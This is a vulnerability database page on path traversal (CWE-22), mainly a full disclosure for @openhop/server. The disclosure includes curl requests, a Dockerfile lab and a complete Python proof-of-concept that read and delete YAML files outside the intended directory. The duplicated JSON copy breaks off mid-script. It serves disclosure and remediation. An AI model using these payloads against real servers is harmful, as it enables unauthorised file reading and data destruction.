CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15153 vulnerabilities reference this CWE, most recent first.
GHSA-G6X9-362C-53PF
Vulnerability from github – Published: 2024-02-21 15:30 – Updated: 2024-02-21 15:30IBM InfoSphere Information Server 11.7 could allow an authenticated privileged user to obtain the absolute path of the web server installation which could aid in further attacks against the system. IBM X-Force ID: 275777.
{
"affected": [],
"aliases": [
"CVE-2023-50955"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T15:15:08Z",
"severity": "LOW"
},
"details": "IBM InfoSphere Information Server 11.7 could allow an authenticated privileged user to obtain the absolute path of the web server installation which could aid in further attacks against the system. IBM X-Force ID: 275777.",
"id": "GHSA-g6x9-362c-53pf",
"modified": "2024-02-21T15:30:45Z",
"published": "2024-02-21T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50955"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/275777"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7116610"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G722-QFQ8-HP64
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:31Dataprobe iBoot-PDU FW versions prior to 1.42.06162022 contain a vulnerability where the device’s existing firmware allows unauthenticated users to access an old PHP page vulnerable to directory traversal, which may allow a user to write a file to the webroot directory.
{
"affected": [],
"aliases": [
"CVE-2022-3184"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-21T23:15:00Z",
"severity": "CRITICAL"
},
"details": "Dataprobe iBoot-PDU FW versions prior to 1.42.06162022 contain a vulnerability where the device\u2019s existing firmware allows unauthenticated users to access an old PHP page vulnerable to directory traversal, which may allow a user to write a file to the webroot directory.",
"id": "GHSA-g722-qfq8-hp64",
"modified": "2024-04-04T05:31:01Z",
"published": "2023-07-06T19:24:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3184"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-263-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G72F-JW3W-MGH7
Vulnerability from github – Published: 2026-09-09 23:51 – Updated: 2026-09-09 23:51Path Traversal in Flow ID File Operations
Summary
@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
Details
FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
return join(this.dir, `${id}.yaml`)
}
This result is consumed by two sinks:
- Read (
packages/server/src/store.ts:78):readFile(this.filePath(id), 'utf-8') - Delete (
packages/server/src/store.ts:105):unlink(this.filePath(id))
The id value originates from unauthenticated Fastify HTTP route parameters:
GET /api/flows/:id(packages/server/src/routes.ts:306) →store.get(id)at line 333–335DELETE /api/flows/:id(packages/server/src/routes.ts:509) →store.delete(id)at line 539–541
The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.
Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
- HTTP
GET /api/flows/..%2Fvictimreceived (routes.ts:306) find-my-waydecodes..%2Fvictim→req.params.id = '../victim'(routes.ts:333)store.get('../victim')→filePath('../victim')→join('/data/flows', '../victim.yaml')→/data/victim.yaml(store.ts:52–53)readFile('/data/victim.yaml', 'utf-8')returns file contents (store.ts:78)- Server responds HTTP 200 with YAML-parsed JSON body
Full data-flow (delete path):
- HTTP
DELETE /api/flows/..%2Fdelete-mereceived (routes.ts:509) find-my-waydecodes..%2Fdelete-me→req.params.id = '../delete-me'(routes.ts:539)store.delete('../delete-me')→filePath('../delete-me')→join('/data/flows', '../delete-me.yaml')→/data/delete-me.yaml(store.ts:52–53)unlink('/data/delete-me.yaml')removes the file (store.ts:105)- Server responds HTTP 204
PoC
Environment setup (Docker):
# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
Expected response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
Attack 2 — Delete file outside flow store:
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
Expected response:
HTTP/1.1 204 No Content
Verify deletion:
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted
Automated PoC script:
python3 poc.py 127.0.0.1 8799
Recommended fix:
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
private filePath(id: string): string {
+ if (!FLOW_ID_PATTERN.test(id)) {
+ throw new Error('Invalid flow id')
+ }
return join(this.dir, `${id}.yaml`)
}
Impact
This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).
Affected parties:
- Users running
openhop servelocally — exploitable via a malicious webpage due tocors({ origin: true })allowing all browser origins to make cross-origin requests tolocalhost:8799. - Docker/server deployments —
HOST=0.0.0.0is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.
An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
# /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)
# /data/victim.yaml <- OUTSIDE the flow store (path traversal read target)
# /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.
FROM node:22-alpine
WORKDIR /app
# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/
# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/
# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install
# Set up the data directory layout for the PoC.
# /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)
# /data/victim.yaml -> outside the store; represents a sensitive file that
# MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \
> /data/victim.yaml && \
printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \
> /data/delete-me.yaml
# Server listens on 8799 inside the container.
EXPOSE 8799
# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799
# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High
Vulnerability:
FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
return join(this.dir, `${id}.yaml`)
with no sanitization on `id`. The route GET /api/flows/:id passes
`req.params.id` (decoded by find-my-way via decodeURIComponent) directly
to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
the URL is decoded to "../victim", causing path.join to escape the
configured data directory.
Attack Vectors:
READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml
DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml
Both routes are unauthenticated (routes.ts:306, 509).
Usage:
python3 poc.py [host] [port]
python3 poc.py 127.0.0.1 8799
"""
import http.client
import json
import sys
import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll until the OpenHop server returns any response on /api/flows."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at http://{host}:{port} ...")
while time.time() < deadline:
try:
conn = http.client.HTTPConnection(host, port, timeout=2)
conn.request("GET", "/api/flows")
r = conn.getresponse()
r.read()
conn.close()
print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
return True
except Exception:
time.sleep(1)
return False
def raw_http(method: str, host: str, port: int, path: str):
"""
Send an HTTP request with the path exactly as given — no normalization.
http.client does NOT percent-decode or normalize the path string, so
'..%2F' reaches the server verbatim and Fastify's router decodes it.
"""
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request(method, path)
resp = conn.getresponse()
body = resp.read()
conn.close()
return resp.status, body
def main() -> int:
print("=" * 62)
print("VULN-001 Path Traversal in OpenHop Flow ID File Operations")
print("=" * 62)
print(f"[*] Target : http://{HOST}:{PORT}")
print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)")
print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)")
print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml")
print()
if not wait_for_server(HOST, PORT):
print("[-] Server did not become ready within timeout. ABORT.")
return 1
print()
passed_read = False
passed_delete = False
# ── Attack 1: Read a file outside the configured flow store ─────────
print("[*] Attack 1 — READ path traversal")
print(f" Request : GET {TRAVERSAL_GET_PATH}")
print(f" Decoded : id = ../victim")
print(f" Resolves: path.join('/data/flows', '../victim.yaml')")
print(f" = /data/victim.yaml (outside flow store)")
status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
print(f" Body : {body_text[:600]}")
if status == 200:
try:
data = json.loads(body_text)
title = data.get("meta", {}).get("title", "")
if "SECRET_OUTSIDE_FILE" in title:
print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
print(f" Leaked title field = {title!r}")
passed_read = True
else:
print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
print(f" Full response: {data}")
# Still count as read-traversal success if we got a valid flow back
if "meta" in data or "flow" in data:
print("[PASS] READ confirmed: path traversal returned a flow from outside store")
passed_read = True
except json.JSONDecodeError:
print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
else:
print(f"[FAIL] Expected HTTP 200, got {status}")
print()
# ── Attack 2: Delete a file outside the configured flow store ────────
print("[*] Attack 2 — DELETE path traversal")
print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}")
print(f" Decoded : id = ../delete-me")
print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')")
print(f" = /data/delete-me.yaml (outside flow store)")
status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
if body_text:
print(f" Body : {body_text[:200]}")
if status in (200, 204):
print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
passed_delete = True
else:
print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ─────────────────────────────────────────────────────────
print()
print("=" * 62)
if passed_read and passed_delete:
print("[RESULT] PASS — Both read and delete path traversal exploited")
return 0
elif passed_read:
print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
return 1
else:
print("[RESULT] FAIL — Exploit did not succeed")
return 2
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.5"
},
"package": {
"ecosystem": "npm",
"name": "@openhop/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59179"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:51:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Path Traversal in Flow ID File Operations\n\n### Summary\n\n`@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim\u0027s browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**.\n\n### Details\n\n`FlowStore.filePath()` in `packages/server/src/store.ts:52\u201353` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`:\n\n```ts\n// packages/server/src/store.ts:52-53\nprivate filePath(id: string): string {\n return join(this.dir, `${id}.yaml`)\n}\n```\n\nThis result is consumed by two sinks:\n\n- **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), \u0027utf-8\u0027)`\n- **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))`\n\nThe `id` value originates from unauthenticated Fastify HTTP route parameters:\n\n- `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) \u2192 `store.get(id)` at line 333\u2013335\n- `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) \u2192 `store.delete(id)` at line 539\u2013541\n\nThe route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: \u0027string\u0027` with no pattern constraint or allowlist. Fastify\u0027s underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)` then normalizes to `/data/victim.yaml`, escaping the configured data directory.\n\nAdditionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.\n\n**Full data-flow (read path):**\n\n1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`)\n2. `find-my-way` decodes `..%2Fvictim` \u2192 `req.params.id = \u0027../victim\u0027` (`routes.ts:333`)\n3. `store.get(\u0027../victim\u0027)` \u2192 `filePath(\u0027../victim\u0027)` \u2192 `join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)` \u2192 `/data/victim.yaml` (`store.ts:52\u201353`)\n4. `readFile(\u0027/data/victim.yaml\u0027, \u0027utf-8\u0027)` returns file contents (`store.ts:78`)\n5. Server responds HTTP 200 with YAML-parsed JSON body\n\n**Full data-flow (delete path):**\n\n1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`)\n2. `find-my-way` decodes `..%2Fdelete-me` \u2192 `req.params.id = \u0027../delete-me\u0027` (`routes.ts:539`)\n3. `store.delete(\u0027../delete-me\u0027)` \u2192 `filePath(\u0027../delete-me\u0027)` \u2192 `join(\u0027/data/flows\u0027, \u0027../delete-me.yaml\u0027)` \u2192 `/data/delete-me.yaml` (`store.ts:52\u201353`)\n4. `unlink(\u0027/data/delete-me.yaml\u0027)` removes the file (`store.ts:105`)\n5. Server responds HTTP 204\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n\n# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)\ndocker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n```\n\nThe container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets.\n\n**Attack 1 \u2014 Read file outside flow store:**\n\n```bash\ncurl -i --path-as-is \u0027http://127.0.0.1:8799/api/flows/..%2Fvictim\u0027\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"id\":\"victim\",\"meta\":{\"title\":\"SECRET_OUTSIDE_FILE\",\"description\":\"This file lives outside the configured flow store directory\"},\"flow\":{\"nodes\":[{\"id\":\"a\",\"label\":\"Sensitive Data\",\"type\":\"service\"}]},\"version\":1,\"createdAt\":\"2026-06-20T00:00:00.000Z\",\"updatedAt\":\"2026-06-20T00:00:00.000Z\"}\n```\n\n**Attack 2 \u2014 Delete file outside flow store:**\n\n```bash\ncurl -i -X DELETE --path-as-is \u0027http://127.0.0.1:8799/api/flows/..%2Fdelete-me\u0027\n```\n\nExpected response:\n\n```http\nHTTP/1.1 204 No Content\n```\n\nVerify deletion:\n\n```bash\ndocker exec openhop-vuln-001 sh -c \u0027test -e /data/delete-me.yaml \u0026\u0026 echo exists || echo deleted\u0027\n# Output: deleted\n```\n\n**Automated PoC script:**\n\n```bash\npython3 poc.py 127.0.0.1 8799\n```\n\n**Recommended fix:**\n\n```diff\n--- a/packages/server/src/store.ts\n+++ b/packages/server/src/store.ts\n+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/\n+\n private filePath(id: string): string {\n+ if (!FLOW_ID_PATTERN.test(id)) {\n+ throw new Error(\u0027Invalid flow id\u0027)\n+ }\n return join(this.dir, `${id}.yaml`)\n }\n```\n\n### Impact\n\nThis is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H).\n\n**Affected parties:**\n\n- **Users running `openhop serve` locally** \u2014 exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`.\n- **Docker/server deployments** \u2014 `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.\n\nAn attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\n#\n# Build context: the repository root (naorsabag/openhop)\n# Usage:\n# docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n# docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n#\n# Data layout inside the container:\n# /data/flows/ \u003c- OPENHOP_DATA_DIR (the configured flow store)\n# /data/victim.yaml \u003c- OUTSIDE the flow store (path traversal read target)\n# /data/delete-me.yaml \u003c- OUTSIDE the flow store (path traversal delete target)\n#\n# The exploit payload \"..%2Fvictim\" is URL-decoded by find-my-way to \"../victim\",\n# so path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027) resolves to /data/victim.yaml.\n\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy package manifests so npm can resolve workspace dependency graph.\nCOPY package*.json ./\nCOPY packages/server/package*.json packages/server/\nCOPY packages/shared/package*.json packages/shared/\nCOPY packages/cli/package*.json packages/cli/\nCOPY packages/web/package*.json packages/web/\n\n# Copy TypeScript configs and source files BEFORE npm install.\n# The @openhop/server package has a \"prepare\" lifecycle that runs\n# `tsc \u0026\u0026 esbuild` during npm install, so all sources must be present.\nCOPY tsconfig.base.json ./\nCOPY packages/server/tsconfig*.json packages/server/\nCOPY packages/server/src/ packages/server/src/\nCOPY packages/shared/src/ packages/shared/src/\n\n# Install all workspace dependencies.\n# The @openhop/server prepare script will compile to dist/server.js.\n# We run the server via tsx (direct TypeScript), so the compiled output\n# is not required at runtime but the prepare step must not fail.\nRUN npm install\n\n# Set up the data directory layout for the PoC.\n# /data/flows/ -\u003e configured as OPENHOP_DATA_DIR (the \"safe\" directory)\n# /data/victim.yaml -\u003e outside the store; represents a sensitive file that\n# MUST NOT be reachable via the API without sanitization\nRUN mkdir -p /data/flows \u0026\u0026 \\\n printf \u0027id: victim\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n meta:\\n title: SECRET_OUTSIDE_FILE\\n description: This file lives outside the configured flow store directory\\n flow:\\n nodes:\\n - id: a\\n label: Sensitive Data\\n\u0027 \\\n \u003e /data/victim.yaml \u0026\u0026 \\\n printf \u0027id: delete-me\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n meta:\\n title: DELETE_TARGET_FILE\\n flow:\\n nodes:\\n - id: b\\n label: Delete Target\\n\u0027 \\\n \u003e /data/delete-me.yaml\n\n# Server listens on 8799 inside the container.\nEXPOSE 8799\n\n# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.\n# HOST=0.0.0.0 makes the server reachable from outside the container.\nENV OPENHOP_DATA_DIR=/data/flows\nENV HOST=0.0.0.0\nENV PORT=8799\n\n# Run the server via tsx (TypeScript runner; no compile step needed at runtime).\nCMD [\"npx\", \"tsx\", \"packages/server/src/index.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\nTarget: @openhop/server 0.3.5 / openhop CLI 0.3.6\nVULN-001 \u2014 CVSS 8.3 High\n\nVulnerability:\n FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:\n return join(this.dir, `${id}.yaml`)\n with no sanitization on `id`. The route GET /api/flows/:id passes\n `req.params.id` (decoded by find-my-way via decodeURIComponent) directly\n to store.get(id), which calls filePath(). A payload of \"..%2Fvictim\" in\n the URL is decoded to \"../victim\", causing path.join to escape the\n configured data directory.\n\nAttack Vectors:\n READ: GET /api/flows/..%2Fvictim -\u003e reads /data/victim.yaml\n DELETE: DELETE /api/flows/..%2Fdelete-me -\u003e deletes /data/delete-me.yaml\n\nBoth routes are unauthenticated (routes.ts:306, 509).\n\nUsage:\n python3 poc.py [host] [port]\n python3 poc.py 127.0.0.1 8799\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport time\n\nHOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 8799\n\n# URL-encoded payloads: %2F is a percent-encoded \"/\" character.\n# find-my-way treats \"..\" and \"%2F\" together as a single path segment\n# (no literal \"/\" split), then decodes the segment to \"../victim\".\nTRAVERSAL_GET_PATH = \"/api/flows/..%2Fvictim\"\nTRAVERSAL_DELETE_PATH = \"/api/flows/..%2Fdelete-me\"\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -\u003e bool:\n \"\"\"Poll until the OpenHop server returns any response on /api/flows.\"\"\"\n deadline = time.time() + timeout\n print(f\"[*] Waiting for server at http://{host}:{port} ...\")\n while time.time() \u003c deadline:\n try:\n conn = http.client.HTTPConnection(host, port, timeout=2)\n conn.request(\"GET\", \"/api/flows\")\n r = conn.getresponse()\n r.read()\n conn.close()\n print(f\"[+] Server ready (HTTP {r.status} on /api/flows)\")\n return True\n except Exception:\n time.sleep(1)\n return False\n\n\ndef raw_http(method: str, host: str, port: int, path: str):\n \"\"\"\n Send an HTTP request with the path exactly as given \u2014 no normalization.\n http.client does NOT percent-decode or normalize the path string, so\n \u0027..%2F\u0027 reaches the server verbatim and Fastify\u0027s router decodes it.\n \"\"\"\n conn = http.client.HTTPConnection(host, port, timeout=10)\n conn.request(method, path)\n resp = conn.getresponse()\n body = resp.read()\n conn.close()\n return resp.status, body\n\n\ndef main() -\u003e int:\n print(\"=\" * 62)\n print(\"VULN-001 Path Traversal in OpenHop Flow ID File Operations\")\n print(\"=\" * 62)\n print(f\"[*] Target : http://{HOST}:{PORT}\")\n print(f\"[*] Payload : ..%2F (decoded by find-my-way to ../)\")\n print(f\"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)\")\n print(f\"[*] Outside : /data/victim.yaml /data/delete-me.yaml\")\n print()\n\n if not wait_for_server(HOST, PORT):\n print(\"[-] Server did not become ready within timeout. ABORT.\")\n return 1\n\n print()\n passed_read = False\n passed_delete = False\n\n # \u2500\u2500 Attack 1: Read a file outside the configured flow store \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Attack 1 \u2014 READ path traversal\")\n print(f\" Request : GET {TRAVERSAL_GET_PATH}\")\n print(f\" Decoded : id = ../victim\")\n print(f\" Resolves: path.join(\u0027/data/flows\u0027, \u0027../victim.yaml\u0027)\")\n print(f\" = /data/victim.yaml (outside flow store)\")\n\n status, body = raw_http(\"GET\", HOST, PORT, TRAVERSAL_GET_PATH)\n body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n print(f\" Status : {status}\")\n print(f\" Body : {body_text[:600]}\")\n\n if status == 200:\n try:\n data = json.loads(body_text)\n title = data.get(\"meta\", {}).get(\"title\", \"\")\n if \"SECRET_OUTSIDE_FILE\" in title:\n print(\"[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml\")\n print(f\" Leaked title field = {title!r}\")\n passed_read = True\n else:\n print(f\"[WARN] HTTP 200 but unexpected title: {title!r}\")\n print(f\" Full response: {data}\")\n # Still count as read-traversal success if we got a valid flow back\n if \"meta\" in data or \"flow\" in data:\n print(\"[PASS] READ confirmed: path traversal returned a flow from outside store\")\n passed_read = True\n except json.JSONDecodeError:\n print(f\"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}\")\n else:\n print(f\"[FAIL] Expected HTTP 200, got {status}\")\n\n print()\n\n # \u2500\u2500 Attack 2: Delete a file outside the configured flow store \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Attack 2 \u2014 DELETE path traversal\")\n print(f\" Request : DELETE {TRAVERSAL_DELETE_PATH}\")\n print(f\" Decoded : id = ../delete-me\")\n print(f\" Resolves: path.join(\u0027/data/flows\u0027, \u0027../delete-me.yaml\u0027)\")\n print(f\" = /data/delete-me.yaml (outside flow store)\")\n\n status, body = raw_http(\"DELETE\", HOST, PORT, TRAVERSAL_DELETE_PATH)\n body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n print(f\" Status : {status}\")\n if body_text:\n print(f\" Body : {body_text[:200]}\")\n\n if status in (200, 204):\n print(f\"[PASS] DELETE confirmed: HTTP {status} \u2014 /data/delete-me.yaml deleted outside store\")\n passed_delete = True\n else:\n print(f\"[FAIL] Expected HTTP 204, got {status}\")\n\n # \u2500\u2500 Summary 